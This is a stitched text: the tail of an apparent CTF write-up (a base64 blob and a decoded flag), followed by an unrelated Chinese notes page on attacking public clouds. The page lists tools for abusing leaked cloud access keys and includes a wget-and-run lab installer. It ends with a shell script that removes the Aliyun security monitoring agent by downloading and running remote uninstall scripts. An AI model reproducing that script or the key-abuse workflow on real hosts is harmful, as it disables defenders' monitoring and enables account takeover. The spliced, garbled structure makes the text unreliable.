VVsVlVWbHBMVWpGdlZscElUbFZsUm5OWldsVmFVMVl4U2xoVWJWSldUVlpXTkZZeFdrdG1NVlozWlVkdlUxZEZTazFXYjJkNlVUSlJlazFJYTFaWFIxSlVXVlJLVTFaV1VsVlRiVkpZWlVaV00xWlhkMjVWTWtwSFprVm5XbVF4V2pOV2JVRmhabFpLZFdSSFJsZG9iMXBKVmtkM1pGUXhaMGRUY1ZaclVuRkNXRnBYTVRSV1JscDFWM0JHVmsxVmJ6UldiMnR1VlRKS2RsTnZWbHBsVkVVd1ZqRmFibGRIVFdOa1JscE9WbFJXV1ZadFNURldNVkoxVFZWblYxZEhVbGhWY0dGTFVURnpWbGR3UmxObFZUVkdWbGN4UjFSdldXRlRibmRYVW05emRWWkVSazluUms1NFZHOVNWMUp2YzFGV1Z6QXhVVEZhZGxaeFNsWmtNRFYyVlcxQ2VsWXhWbmRuUjNkclpVWnpZbGt3VlRWV01rcFpWWEZXWkZaalJsQldiVVpYWm5CT1IxVndiMnhTY1VKNVZtOW5OR1V5VVdKU2NVNXNVMFZ6Y2xSVVNsTldWbFowVkc1T1ZVMVdjMVpWVm10eVZHOWFkV1pFUmxwa01WcE1WbTVhUzFZeFoxVlNiMmRYVWxWellsWlVRbFpvUms1WFUzRk9aRkl5WVU5V2IxcDZWRVphZDJkR1oxcFdiMVkwVmtkM1YxVndSalpTYjFaV1pHNXpWRll4V2xabk1WWjFWSEJ6YkZJeFNsaFhWbFp5VlRGYVYxZHVaMWhrTWxKV1ZuQXhjbEV4YzFaWGJuZHRaVWhDUjFReFozSlViMDVHVTI1M1dGWkZXbGhaYlVwU2FFWmFXVnBHVGxkU1ZYTlZWMVpTVDFVeVRsZG1SbXR1VW5CU1VGVnRSbVJXTVhOR1ZtOW5WMUl3YzBkVWIyWTFWbkJLUjFkeGMxZFNZMFpVVm5CaFpGZFdjMGRYY0dGcmFHOWFUbFl5WVdSV01rMWlVbTluVkZkSFVuSlZiMnREVjBaYWRscEZPVTlXY0ZKV1ZURlNSMWR2V2xWU2JscGFaREZaTUZaVVFXRldNVTVWVW05elYwMHhTbFZXVkVaa1ZURmFkMU51V21SU2IwcFVWbTVXWkZadloxaE5WRUp0VFZWYVlsUldWbVJYUjBWalVXOXJWVlpXV210V1JWcGtWMGRTU1ZSdmExZGtNMEpJVjFkM2JtY3haMGhTV0d0dFVtOUthMVp2V2t0U1JsWjNhRVZ6YmsxRWIwWlZNbUZUVmpGS1ZtUXpaMWhXYjBwTFZHOWFaRkl4Vm5aa1JUbFhWMFZLV0Zad01XTk5WazVYVm5GU2JsTkZOVmxWY0RFMGFGWnZkVlp4VGxkU2NGSktWVmQzZGxkd1NrZFhjWE5WVm05elRGcEdXbnBTY0U1SFZYQnJUbVZGYzFsV2NIZGtWakpGWVZOdloxVmtNbUZ6VlhBMVExWldWblZXYm5OdlVtOXpWbFZYTVVkV01rcElaMFJTVjJWWVVtdFdjREZMWjBkV1NWUnZjMDVTYm5OUlZrZGhaR1F4U25abE0zTnJVak5DV0ZwWFlXUlRNV2QxVlc1S1QxSXhXbGhWTW1GWFZYQkdkVmR3UmxwbFdGSklWRzVhYmxaV1JuZFNiMUpUWkRKNlkxWndNWHBTTVZWaVVsaHZhMUp2V2xkVVZ6VlRaRVphZGxkdlRsZGxTRUpIVlRJeE5GVXhXblptUm05WFpERnphMVpVUmxObU1YTkdWM0JyVTFKdWMxQldiVUp1WlRBMVYxWllaMnRUUlRWeVZtMUJNVmRHV2toTldHZFlaVVp6TVZWWGQzcFdiMXAyWmtaQ1YxSXpUalJaTW1Ga1YxWnpSMVJ3YTA1bFJYTlRWbTVtWVUxSFRXRlViMnRXWkRKcmRGVnZWVEZXVmxwMlZXNW5UbFp2YnpWWk1GWkxWREZhZDA5VVRsZGxXRkY2VmpKMllXWXlUa1pYYjFwT1VtOXVlbGRVUm01VU1sSllVMjVhVDFZelVsaFdjREV6VFZaYVdHaEhkMDVTYm5Nd1ZuQTFWMVV5UldKa1JsSmFWak5TVEZWalJucFhSMUpIVkc5V1UyUXpRbGxXYm1jd1pqSktSMU51V2xoa00xSlhXVzlyVTJadldYcFdWRVp0WlZWelIxbHVaekJXTURGV1prVnZWMVl6UWtSVmJVWmtVakZTZFdWSGMxTldjVUpqVjFjeE1HY3hXblprTTJ0WFpESlNWVlJXV25wVFJscElhRWhPVmsxV2MxcFdWM2R1VmpKRllWZHhjMVpOVjFKWVZtMUtSMU5YU2tkVmIyZHNWbTVXTTFadldtUldNa2w2VGxWclUyVnVjMnRWYjJ0RFZsWmFkMmhJWjA5U2NVSlhWbkExVDFaR1duVm1Sbk5ZWkRGYVRGWlVRV0ZTTVVwMFZHOWFUbFl4U2tsWGJtYzBXVlphZGxkeFJsTmxSVFZ6VlhCaGVtaEdXbFZUYlVKUFVtNDFXRmxVVG01WlZrcFpVVzlXVmsxSFVUQldNVnBYWm05YWQwOVdTbXhTY1VKSVZtMUtNR1l4V2tkVFdITldaRzlhV0ZadVZtUm1iMWw2VjI0NWJVMVZOV0paTUZwdVZqRmFkV1pGWVZkV2IzTjBWRlphVDJZeFduaFViMVpyVFRGS1ZWZFhNREZSTURWSFprWmFXbWh2V2xCV2NERXdUVEZuZFdSSFJsZGxWVmt5Vlc5cmNsWndTbGxrUm10V1pWaE9ORlZ3WVc1bWNFNUhXa1UxYTAwd1NrVldiMUpEWkRGUllsSnZaMVZsUmxwVldWaHpWMlp2V25aVmJrNVBaVWRTVmxWWE5XNWxSbHAxVGxWeldtUXhjMFJXVkVaTFYwZEdSazlXWjA1V2IzTXhWMjVTUjJkd1ZrZFZjVlpYWlVaemNsUlhOVkpvYjFwWWFFZEdWRTFFUmxoWmJtdExWMGRGWTJSSVRsZGxXR3N6Vkc5YWVsWXlSa1phUm5OWFpETkNObFpYTVhwV01WcDJWMjluV0dRemEydFZjR0Y2Wm05elZsZHZaMjVTYjBwaldUQmFVMVV3TVVkbVJXdFhaVWRSZWxkV1ZURlNNVnAwVjI5V2EwMXZTbGxXVjNOQ1RWZE9SMVpZYTFaa01EVlZWbTFDWkUxR1VuWlhiMDVXWlVaelkxWXlNWEpXTVZwMlprWkNWbWh1V2xCYVJtZExVbTluZDFKd2EwNWxjR3RNVmpKM1pGbFhSV0ZVV0d0c1VtOXpUMVZ1Vmt0bVJtOVZVMjFTVWsxV1NsZFdjR0Z1VmtaS2RtWklhMVpsV0ZGNlZuQXhSMDV2U25abFJtZFRaVWhDVVZaWE1HRlRNazUyWlROelpGSnZjMDlWTUZaTFUwWmFXR1pGWjFWTlZuTklWa2RoVjFWd1NsbFJjR3RXWlVkU1VGUnVXbVJTTVZaMldrWk9UbEpGV1hwWGJsWlhUa1phU0ZOeFZsSldSVnBZVlc1V1MxWXhjMFZTY1VwdlpWVTFSMWx1VlRGVk1VbGpaRVp6VjFaalJUQlZNakZYVWpGbmVGWnZVbXROY1d0aFZuQmhVMll4VFdGbVJscHJVbkJTY2xsdVZucFNNVzkxVm5GblZVMVdjMWhXY0hOUFZsVXhXRlZ2VWxabFdHdFlXa1puUzFORk1WZFZiMnRUVFhCUlkxWXhXbE5STVZsaFZIRlNWbVZIWVZoWlZFNURWakZTVlZGd1JtNWxSbHBqV1ZWbU5WUnZXWHBYY1c5YVZrVTFkVlp1V2xwbk1XZDFaVVphVGxZeWF6WldjSE5MVkRGbldGSnVaMVpsUmtwVVZuQmhkV2hHV2xkWGIxcFBWbTQxWTFsdVduWmtWa2xpYUVaV1YyUXhXak5XUkVaa1ptOW5lRnBHV2s1U1JWcFlWa1phVjFsV1VuWlhiMmRZWlc5S1YxUldXa3RUUm05WWFFaEtiazFXV21KWmJscDZWRzlaWWxvemExZGxSa3BEV2tSS1VtaEdUbGxhUjBaVFpEQnpVVmRXVWtkWGJqRjJWMjlXVTJWSFVsUldjSFpoVG05V2QyaEhkMnRXTUhOSVZqSTFSMVl3TVZkWGIyZGtWbFp6WkZwWE1VZFNiMXAyVlc5blRsTkZTVEJXTVdaaFRrWlJlazFXWjFoa01YTlpXVlJPVTFaR1duWmFSemxUVFZoQ1dWUnZWbTVrUmtsNlRsWnpXbFpXV210V2JVcExabTlPZGxadldsZGxWMnRaVmxkelIxbFdaMGRWY1U1clVtNDFjbFJYWVV0V2IxcDJWVzVPVmsxVk5WaFdWMkZrWkZaT1IxZHZaMXBsV0d0clZtOWFkbWRGTlZsYVJUVlhaRE5CWVZaWE1ERlZNVloyVjI5clZtUXlVbXRXYlU1eVZVWlpZbWhHVGxkTlZrcGlWakpoWkZSdlowWlRiMmRZWkRGemExcEVSa3RuUmxwMldrWldhMDB5YTFaV2NIZFhVekpXUjJWR2EyNVNNRnBWVlhCaFMxZEdXa2huU0U1WFVtNDFTVnBWVm5aV2NFWjFWMjVoV21WWWEwdGFSRVo2VW5CS1NHWkdaMnhUUlVZMFZuQmhVMVF4U1dKVmIyZFZaREpoYTFWd1lVdFhSbEpWVVhGblZFMVdXbU5YYm10dVpVWktkbVpGYTFkU1kwWjVXVlpuUzFKd1RrWlViMmRyVFZaek1sWlVSbFpPVmxwMVQxWmFUbFp2U25OWlZFWjZVa1phVlZKd09XeE5ialZpVkZaclMxWndSV05SYjFwWFpYRkNXRlJXV25wWFJUVlhXa1pyVTJRelFsaFhWRUpUVWpGYWRVMVZhMVZrYmpWWVZXOW5VMDB4Vm5SU2JqbFlWakJ6U0ZaWFlVOWtWa3AyWmtoclYxZElRbEJWWTBaV2FGWldkVlp2V214bFYydFlWMVpTUzAwd01YWldXR2RXWkdOdlZGbHVXblpOTVZsaWFFVTViRkp2YzFwVlYzWXhWbTR4U0ZWdlFsZFdWbk5RVm0xR1QyWldTblptUlRWVFpETkNURlp1V21SWlZsRmhaVVpuV0dReWEzUlVWRXBUVmtaYWQyZElXbTVOVjJGV1ZWYzFUMVF4U25WT1ZtdGFWbGRyZFZadFJtUldNV2QwVW05YVRsWnhRazFXY0hka1ZERmFkbGR4U201U2IxcFlWbTVuTTAxR1duZG5SMFpWVFZWdk5WWkhOVmRrVmtwVlZtOXJWVlp3YTBSVk1tRlRWakZhVlZadlVrNWxSbk5ZVjFkM2JtWXhXa2hUYjFwWVZrVmFXRmxYZDB0b2IzTkdWMjQ1V0ZadmMySlhibHBrWkVkRllXWkdRbGRXTTJ0VVZWUkJNVll5U2tsVGNFWk9UVzlLVjFad1lXNWxNVXAyVm0xYVUyUmpiMWhaYmxaNmFGWnZWbFp4VGxWbFJuTllWakZTUTFkSFJuVlRjVXBXVFhGT05GVXhaMGRUVms1MlZHOU9WMDB5YTFGV2NEQjZaekF4Vms1WVRsUmxSMnR5Vlc5YWVsWkdVbGRXVkVaWVZtOWFNVmt3Vms5VWIxcDNhRVpyV2sxR1dtTlpWRVprWmpKT1NHUkdXazVsYjBwWlZtNWFaRlV4U25kU2JsWlRaVVp6VDFsWE1XTm5NVnAxVjNCM1UwMVdTbU5XY0dGa1pGWktSbGR2VWxwa01YTnJXVEZhWkZJeFduWmFSbEpYVFVSV1dWWnVaekJXTVZwSFUyOVdVMlF5YTFoVmNHRjZWVEZTVjFaVVJsZGxSMUpqVm5CaFQxVXhTbGRtUld0WVZqTnJWMVJ2V21SU01WSjJWbTlLYkdReGMzcFdWMkZ1WkRBMVIxZHVaMVpsUlRWVVZGWmFaRTFXYjNWWGNXZFdUVzV6TVZWWGMxTlpWbHBYVjNGdlpGSkZXbFJWTUdkUFUxZEtTR2hHWjFkTk1tdGFWbkJ6UzAxSFRXSldibXRVWlVaeldGbFhZV1JYUm05MlpFWk9VazFXV1RKV1J6VlBWakpLUm1WalNsZFNNMUpyV1ZablMxTldSblZvUm5OWFVsWnpVVlpYTUdGV01VNVlVMjVyVGxZelFsaFpWRWswYUVaYVdFMVVVbTVOVlRWSVZrZGhibFpYU25aWGIxWlhaVlJXUkZwV1dsZG1NVnAzWjBaV1RtUXhXV05YVjNkWFpqSkdkbE5ZYzFaa1kyOVlWbTFPY2xWR1VsZFhiamxYWlZVMVJsVndZV1JXTVZwMlprVXhXRlpGV25WWFZscFBabTR4Vm1SSGMxUlNWbk5oVmxkM1ZrMVdVV0ZYY1VwWFpWVmFWMVJWVWtkV01XOVdWbkJHYkZKdmMxZFdiMnR5VjI0eFYxZHhXbFpOY1d0aldUSmhlV2h2YzBobVJtZHNWakpyVFZadlVrZFpWMFZpVlc1clZXVnVjM0pWYmxwa1ZtOVNWbHBFVWxkU2IzTklWakl3TlZVeFduVk9WVnBXWlZocldGWnVXbVJtYjJkMlZtOWFhMlF3YzNKV1ZFSmtWVEpTU0ZWdVdtNVNiMHBQVkZjMWNsZFdaMVZTY0VaVlRWVTFZMVl5TlZOVU1WcEhVMjlTVjJReFdreFZiVVpXYUZVMVdWUnZVbE5rTTBKSVYxWldVMVV5UmxkVGIxcFlaRE5TYTFWd1lYcE5NV2RYV2taS2JrMXVjMGRaYmxwVFpGZEtkVk5VUWxkbFdFSlFWVlJHVm1oR1VuWmtSbHByYUc5YVdWWndZV1JaVmxwSFYxaHZiVkpYVWxOWmJscDZVMjlWWW1aR1oxWk5WbTgyVlZkM01GWnVNVWhrU0hOWFRVZFNVRnBHWjBkVFYwWkhXa1puVjJWdVNrMVdjSGRrVlRGRllWTllhMVZrTW10clZXOW5VMlpXV25aYVJ6bFBVbTl6TUZwRlZqQldSMHBIWlVSYVYyVllVak5XYm1kTFpqRm5WVkZ2YzA1bGIwb3lWMjlXWkZOd1VXRldiMjlrVWpOcldGWndOVU5UYjFwVlVtOWFiMUl4U2xoV1IyRnVWakpLUmxOdU9WWmxSbk5rVkZaYVZtaEdXbmRuUmxKWFpHTkZNbFp3TUdGTlIwWllVMjVuVkdSamIxaFVWVnBrWjFaelYxcEZXbTVOYjFwSFYyNWFUMVJ2V2xWUmJWWllWa1ZhVkZWVVJsTm1Na3BKVTI5YWEwMHhTbEZXY0RGalRWWlJZVlZ2YTA5V2NGSlZWWEIzZGs1R1dsaE5XR2RXWkdOR1JsVndZVk5YYmpGWFpraEtaRlp3VWxoV01GcFRaakZhZGxWdlRsZE5NbXRrVm01YWJrMUdXV0ZVV0c5VlpVZHJWVmx3TVhKV01XOTJWbFJHV0ZKdldtRlZWelZQVmtkS1IyWkdhMXBOUm5OVVZsZGhXbWh3UmtaYVIwWlhaVVp6TmxaSGQyNVRjRlozVW01YWJGSXlhM0phVjNka1ZqRmFTR2hIYzA1V2IwcGlWRlpXY21ReFRrZFRiMUpYVFVkU2VGUldXbnBXYjFwNFdrWm5WMlZHV1RCV2JVb3daakZTZDFKdFdsTmxSbk5YV1c5clExUkdWblpXV0d0WFpWWmFSMWx1WjBkVWIwcDRVVlJDVjFkSVFsQlpZMFp1VTBaU2VGVnZUbXhsVjJ0WlZsZGhiazVHV1dGWGJsWlVaVzQxVkZsdVZURlRWbWQxV1ROclYxSnVjMGRaTUZwWFZqSktXVlZ3YTFaTmNXdFVWbTFLVDFOR1NuWmFSbEpUWlVoQ1UxWnZaelJsTWsxaFUzRlNVMlZ1YzFsV01HZFRabFphZDJoSFJsUldjR0ZqVm5CaGJtUXhXblZtU0d0V1pWUkdTRlpIWVV0WFYwWkdaa1pyYTJRelFrMVdWRW8wVmpKU1YxZHhVbXRTTW1GelZXOWFlbFZHV2toblJscHVUVzlhV0ZVeVlYWmtiMDVJYUVaclZrMUdXbXRWVkVaWFowZFdSMVJ2WjFObFZrcFlWa1phWkZVeFZXRlhjVTVVWkc1YWExWndZV1JUUmxsaWFFVjNWMlZWV2tsWk1GcFBWRzlLZFdaRk1WZGxSa3BJV1dOR1QxWXlTa2RYYjJkc1VtOXpWVlp3ZDFkWlZUVkhWbGhuVjJWSFVsQldjSFl4VjFaVlltZEhPVmRTYm5OWldsVm1OVmR1TVhSV2NWcGFaVmhyYTFadFNrOVNNVloyVTI5bmJGSlhPR0ZXTW1GWFpUSk5ZVnBGWjFWbFIyRnpWVzFPUTFaR1VsVlJjVnBPVW5CU1lWVndNRFZXVjBZMlVXMU9WVTFYYTFSWlZ6RkxVbkJKWTJSR1oydGtNSEpqVm05U1IxVXhXV0ZhU0VwVlpVWktUMVp2VWxab1JscFZVbkJHVkUxV2MwaFdSMkZrVmpKR2RsTnhSbGRsUmxWaFZWUkdWbWN5UmtoUFYzTlhaVVZ6UjFadVp6QlRNa1pZVWxoclYyUnVOVlpVVmxwa2FHOVdkMDFXWjI1V2JuTmpWbGN4ZGxSdU1YZGtSa0pYWlZoQ1JGa3lNVmRXTVZaMlpVWm5hMDF4YTJ0V2NHRmtXVlpTZGxaeFNsZGxWRzlRVm5CaFIwNXZWbGRrUnpsWVpHTkdZbFl5YzBkV01WbzJVbGhuVjJReVVreFpZMFpQWm5CT1JrNVdUbGRsYmtwTFZuQjNVMUV5UldGVWNVcE9WbGRyZEZVd1ZtUm1WbTkzVFZjNVYxWnZjMkpXY0RWUFZrVXhkbE52YTFwTlJscHJWa2RoU21oV1ZuaFZiMXBYWlVaek1sZFdaelJUTWxKR1QxWm5WR1ZHV2xoWldITlhVMVpuZGxad1JsVk5Wa3BJVlRKaGRsbFdTblZUY0VaYVZrVnlNRlp1V2xab1JtZDNVbTlXYkZKdmNucFdNbmRrWmpGYVIxUnVhMVpsUmxwWFZGYzFVMDB4VW5WYVJtZFlWakJhU2xsVldsTldSa3AyWmtoclYxWXpVbGhaWTBaUFpqRmFXV1ZGT1ZkWFJVcFVWbkExZWxZd05VZFZiMnRQVmxaelQxbHVWVEZvYjFWaVRsYzVWMDFFUmtsV1YzWmhWMjR4VjJaSGEyUlNjRkpZVlhCaFpGZFdjMGRVYjJkWVVsVnpORlp0Um01TlIwbGlVbTVyVldReWEzUlZNRnBrVmpGdldXWkZTbTlTYjFvd1ZHOXJUMVZ3U2taT1dHOWFUVVpLV0ZaWFlXUldWMHBGVkc5YVRsSnZXVEJXVkVvMFZURlpZVlp2VmxOa1kyOVVWbkExUTFaV1drZFhiMmRQVW01elkxWndOVmRXTWtwMVYyOVNWbVZIVVRCWk1WcFdhRVphV1dSR1oxZFdSMkZYVm05blkwMVdVblZOV0VwUFZqQmFWMWx2YTFObWIxcEZVMjVhYmsxWFVtSmFWV2MwVmpKS1YxTlVSbGROVm5OWVZuQjJZVkl4VG5oVWIwNXJUVmhDVUZaWFlXUlpWazVYVjI5V1UyVllVbFZXY0RFMFYyOWFkMmhIZDFaTmJsWTFXbFZXTUZZeVJXRlhiMmRrVWtWYVVGWndNVWRTYjJkM2FFWm5iRlp1Y3pOV2IyWjZUVmRKWVZSeFRtUlNjR3RSVm5CaGVsWkdXblZYY1dkVVVtOXpXVlJXVWtOa01VcDFaa1p6V2xaWFRXRldNakZMWm05T2RXWkdaMU5sVmtwSlZsZHpSMWxXV25aWGNVNVhaVVpLV0ZZd1ZrdFNNVnBIVjI5blYyVldXa2hXTVd0eVYwZEtkMlJHVmxabFJrcElWakJhVm1jeFZuVlBWMkZUWlVoQ1NWZFhjMDlrTWtwSFYzRlNiMUpYVWxkWlYzZEdUVlpTZFZkdVoxZGxWWE5KV1c1bmNtUldUa1pUYmpGWFZqTnJWRlp0Umtwbk1ERlpWWEJ6VGsxdlNsVlhWM2RYWjNCUllWVnhUbGRsV0VKMldXOWFaRmRHWjNWV2NXZFZaVlZhWTFZeGEzSldjRXBaVVc1clYwMUdWalJaTW1Ga1pqRlNkMmhHWjFkU00ydElWbTlTUTFZd05VaFZibWRWWkRGYVUxbFVRbnBWUmxwMlYzRmFiMlZHYzFaVlYzWTFWVEpLUm1WRVRsVmxSMnRNVm01YWJsTldSblpXYjJkT1VtOXpNVmR2Vm1SWGNGWkhWbkZLWkZKdmMzTlpiMnR5VjFaYVdFMUVSbTVOYjFwSlZsWnJlbFZ2WjBsUmNVcFhaVVp6TTFVd1dtUm1NVnA0Vkc5blUyUXpRbGRXVm1jMFZUSkdSazFWYjFKV1JWcFlXVmQzZWxSR1ZsaE5WbWRVVW05S01GbFZaM3BWTWtWalVXMUdWMlZZUWtoYVJFWk9hRlpLV1dSR1dtdE5NVXBqVmxSQ1pGWXdNR0ZXV0d0WVpVVTFXRlZ3ZGpGWFZsSjJWM0JHYTJWR2MwaFdNbmQ2V1ZaWlkxVnZhMVZsV0d0VVZYQXhUMUpXVm5WT1ZtZFhUVEpPTkZadFJsTlNNa1ZpVm05clYyUXlVbFpaYm1keVZsWlZlbVJGU205U2NVSlhWbkJoYmxaRk1WaG5SRlpYVFhGU1kxWkhkbUZtYmpWWFpFWmFhMlF3YzJKV1Z6RmpUVmRPZDFOdVoxaGxSVFZZVkZSS2NsTkdaM1pXY0RsWFRWVTFTRlV5ZDFkVmNFVmpVWEZPV2xaRmNucFVibHAxYUVabmQyZEdjMWRXUlZwWlYxUkNjbFV4VldGWGJWcFRaVVZhVjFsWGQwdE5NVnBWVW05T1ZGSXdOVXBXY0dGa1ZqRmFkbVpHV2xka2JuSXdWbTFHVjFJeFRsbGFSbXRzVWxoQ1dGWkdaelJuTVUxaFprWm5aRkpVYjFWV2JVRXhVMFphU0dkRmQydFdNRmt5VlZkelYxbFdTblptUld0V1pWaHJVRlp0Um5wU1ZsWjJVMjluVjAxd2FqRldjREJoVFVkRllWUnZaMVZsUjFKWVdXOVdaRlpXVWxobU0ydFBaVVpXTlZSdmEwOVhSa3AzYUVSQ1ZVMVdTbFJXYmxwa1pqSk9SVlp3UmxkV01tdEpWbTFDYmxNeVVsZG1SRnBXWkdOV1ZGWndZWFZuTVZsaVRsaG5XbFp1TldOV1IzZGtWRzlaWTFGeFJscGxWRVo1Vkc1YVpHWXhXblpYY0dGVFpERnpXRlp1WnpCa01WVjZUVlZXYkZKVk5WZFVWelZ5VjBaU2RsZHZjMjlsUlRVd1dWVmFUMVl5U2tsUmNEbFlaVVp6ZVZWdFNrcG9WbEo0Vkc5YWJHVlhhMk5XVnpWNlZtNHhSMVp4VGxobFdGSjFXVzVhWkZZeGIzVlhiamxXVFc1elYxWXlOVWRXTVVwWFYxUkNWazF4YTB4V2NERlRVMVpuZDJoR1VsTldjVUpKVm05bU1XY3hVV0ZTY1VwT1UwZHJkRlZ3WVhwWlZsSldaRWM1VlZKeFFsZFpWV3RQVjBaS2RXWkZaMXBXVmxWaFZtNWFUMUp2VG5aWGIxWnNVbkZDVVZaWGMwSm9SMUpJVlc1YWExSXpRbk5aYjJkdVRrWmFWMWR2WjFOTlZuTllWbTlyY2xkSFJXSmtSbFpWVm05VllWWndZV1JTTVc1alpFWm5VMlZXU2t0V1ZFb3daekZhZFUxVmExWmtNbUZXVm05YVpGZEdXV0pvUlRsVFZtNWFNVmxWV21Sa1JURlpVVzlTV0dWR2MxUldSRVpMWjBaV1dWcEdUbXROY0d0VlYxWm5NRk14VFdGYVJtZFhWMGRyV0Zad01UQk9SbGxpVFZWblYxSXdjMWxXUjNOUFZuQktSMlpGWVZWbFJuTXpXVEl4UzFJeFduWlhialZUVFRKclVWWnVXbE5SY0ZaSFYzRk9WV1F4YzNKVmNHRkxWa1pTVm1SSE9WVlNjVUpYVmxkM2JsWkhSalpTYm1kYVpERnphMVpVUmt0WFIxWkZWVzluYTJRd2N6RlhibEpIVm5CV1YxZHhTbGhsUmtwVVZGZGhTMmN4V2xWUmNIZFRUVzlHTlZWd05VdFhSMHBIWmtaT1YyUXhjMnRWTUZwWFRtOU9kVTlXVW14U1dFSmtWMVpXYlUxV1dXSlRjVXBUWkc0MVYxUldaMU5UUm5ORlVuQkdWMlZGYzFwWk1GcFhWakZLVmxkWWMxZFNjRkY2Vm0xR1QyWXhXbGxrUjBaVVVqRktWbFp3YzBKTlZrNUhWMjVuV0dWRmMzWlZiMUpYVWpGU1ZtUklUbFpsUm5OSFZUSjNORmxXV25abVIydGFUWEZyVEZZeFowdFRSMDVIV2tVMVUxSldjMWRXYjJjMFdWWlJZV1ZHWjFWWFIyRldXVzlyVTFaR1duWmtSVXB2VW05Wk1sVlhOVXRrTURGMlYyOXJWMDF0Vm1OV2JsVmhVbTluZFZSdlowNWxiMFl6VjFabk5GVndVV0ZYY1VaWVpVaENUMWxVVGtOVGIxcFpaa1U1YlUxV2J6UldWMkZ1VlRKS1IxTnZaMXBXUlZvelZtNWFVMVp2Vm5WVWIxSlRaVVp6V1ZadVdsTlRNa1oyVTI5cmExSlViMWhaYjJ0VFpFWlZZVmR2VGxkTlZuTmlWMjVhYmxZeFdraGFNM05YVmpOQ1JGbGpSbTVTTWs1SlZIQnZUazF2U21GV1YzTlBVVEF3WVZkdlZsSmtNbEoxVm5CMk1WWXhibnBWYm1kc1VtNXpXRll5ZDNaV01VcEdaa2RyVmsxR1ZqUlZNV2RMVTBkS1NHVkZOVmRXUmxWNlZuQnpRMlJ1TVZkVVdHOVRWMGRTV1ZsWWMwZFdWbHAyV2tSU2JWSnZWalZhUldZMVZrZEtSMlZFVGxwa01tdFVWbTVhWkdadU5WWmtSbWRzVWpGS1RWZHVWbVJWTVVwM1UyNW5WV1ZYYTNKVVZWSlhVakZhVmxkdlNtNU5WVXBUVlVaUmVsQlJQVDA9'
decode(x)
```
Decoded message and the flag is: `flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}`.
|
sec-knowleage
|
# 公有云安全
---
**相关案例**
- [SummitRoute/csp_security_mistakes](https://github.com/SummitRoute/csp_security_mistakes) - Cloud service provider security mistakes
**相关文章**
- [云环境下密钥泄露导致的安全问题](https://mp.weixin.qq.com/s/3WQrkxXrZ00VjvrAzaSppA)
- [关于云安全渗透](https://evilanne.github.io/2020/02/27/%E5%85%B3%E4%BA%8E%E4%BA%91%E5%AE%89%E5%85%A8%E6%B8%97%E9%80%8F/)
- [实录 | ThreatSource鸟哥：浅谈云安全技术以及安全架构亮点](https://mp.weixin.qq.com/s/tLHroy8yZIsZCjfdKLK-wQ)
- [【云安全】华为云 OBS 对象存储攻防](https://mp.weixin.qq.com/s/1FDlM6vXiHqDR6dchZpftQ)
- [【云安全】谷歌云对象存储攻防](https://mp.weixin.qq.com/s/ZmXV_uiBlJElRx6zd21NIg)
- [记录一下弹性计算云服务的一些词汇概念](https://mp.weixin.qq.com/s/ln_qmifWqhC4eU26v9fnoA)
- [谷歌云 Compute Engine攻防](https://mp.weixin.qq.com/s/GsgD-rIQqGdv2cGslsYrDw)
- [浅谈云上攻防——云服务器攻防矩阵](https://zhuanlan.zhihu.com/p/455523946)
- [A PRIMER ON CLOUD LOGGING FOR INCIDENT RESPONSE](https://www.trustedsec.com/blog/a-primer-on-cloud-logging-for-incident-response/)
- [公有云攻防系列——云服务利用篇](https://mp.weixin.qq.com/s/zw9nGP9-czU2aPrpVa6wkg)
- [公有云攻防系列：云凭证的泄露与利用](https://mp.weixin.qq.com/s/V2hTqTnUbAsPDWLHljiQ4A)
**相关工具**
- [NotSoSecure/cloud-service-enum](https://github.com/NotSoSecure/cloud-service-enum) - 枚举各家云服务敏感信息的脚本
- [teamssix/cf](https://github.com/teamssix/cf) - 云环境利用框架 Cloud Exploitation Framework 方便红队人员在获得 AK 的后续工作
- [wyzxxz/aksk_tool](https://github.com/wyzxxz/aksk_tool) - AK资源管理工具，阿里云/腾讯云 AccessKey AccessKeySecret，利用AK获取资源信息和操作资源，ECS/CVM操作/执行命令，OSS/COS管理，RDS管理，域名管理，添加RAM账号等
```bash
java -jar aksk_tool.jar [ak] [sk]
```
**相关靶场**
- [HXSecurity/TerraformGoat](https://github.com/HXSecurity/TerraformGoat) - TerraformGoat is HuoCorp research lab's "Vulnerable by Design" multi cloud deployment tool.
```bash
wget -O f8x https://f8x.io/
bash f8x -TerraformGoat
```
**相关资源**
- [TROUBLE-1/Cloud-Pentesting](https://github.com/TROUBLE-1/Cloud-Pentesting)
- [Hacking-the-Cloud/hackingthe.cloud](https://github.com/Hacking-the-Cloud/hackingthe.cloud) - An encyclopedia for offensive and defensive security knowledge in cloud native technologies.
- https://hackingthe.cloud/
---
## Aliyun
**相关工具**
- [iiiusky/alicloud-tools](https://github.com/iiiusky/alicloud-tools) - 阿里云 ECS、策略组辅助小工具
- [mrknow001/aliyun-accesskey-Tools](https://github.com/mrknow001/aliyun-accesskey-Tools)
**相关文章/案例**
- [云主机AK/SK泄露利用](https://mp.weixin.qq.com/s/4wpqjjvcT9YjmZOJGB4lJw)
- [由access key泄露浅谈云安全](https://www.freebuf.com/articles/web/287512.html)
- [记一次阿里云主机泄露Access Key到Getshell](https://www.freebuf.com/articles/web/255717.html)
- [阿里云ECS攻防](https://zone.huoxian.cn/d/1064-ecs)
- [从云服务器 SSRF 漏洞到接管你的阿里云控制台](https://zone.huoxian.cn/d/1237-ssrf)
### STS Token
- https://help.aliyun.com/document_detail/67118.html
- https://help.aliyun.com/knowledge_detail/257130.html
- https://github.com/aliyun/aliyun-oss-python-sdk
- http://gosspublic.alicdn.com/sdks/python/apidocs/latest/zh-cn/index.html
### OSS
**相关文章**
- [【云安全】阿里云 OSS对象存储攻防](https://mp.weixin.qq.com/s/rIRYE0yTHfxWkCi5IBQxMw)
- [使用阿里云OSS可能存在的两个安全风险](https://mp.weixin.qq.com/s/0PidovG8aqaaR-G7zyJs_Q)
**案例**
- [阿里云oss key 利用](http://r3start.net/index.php/2019/09/16/580)
**相关工具**
- [aliyun/oss-browser](https://github.com/aliyun/oss-browser)
- [UzJu/Cloud-Bucket-Leak-Detection-Tools](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools)
- https://mp.weixin.qq.com/s/dOf7vv9POOBPOtFh2L6ujg
### 卸载阿里云盾
**Linux**
```bash
# 卸载阿里云盾监控
if ps aux | grep -i '[a]liyun'; then
wget http://update.aegis.aliyun.com/download/uninstall.sh && chmod +x uninstall.sh && ./uninstall.sh
wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh && chmod +x quartz_uninstall.sh && ./quartz_uninstall.sh
# 删除残留
sudo pkill aliyun-service
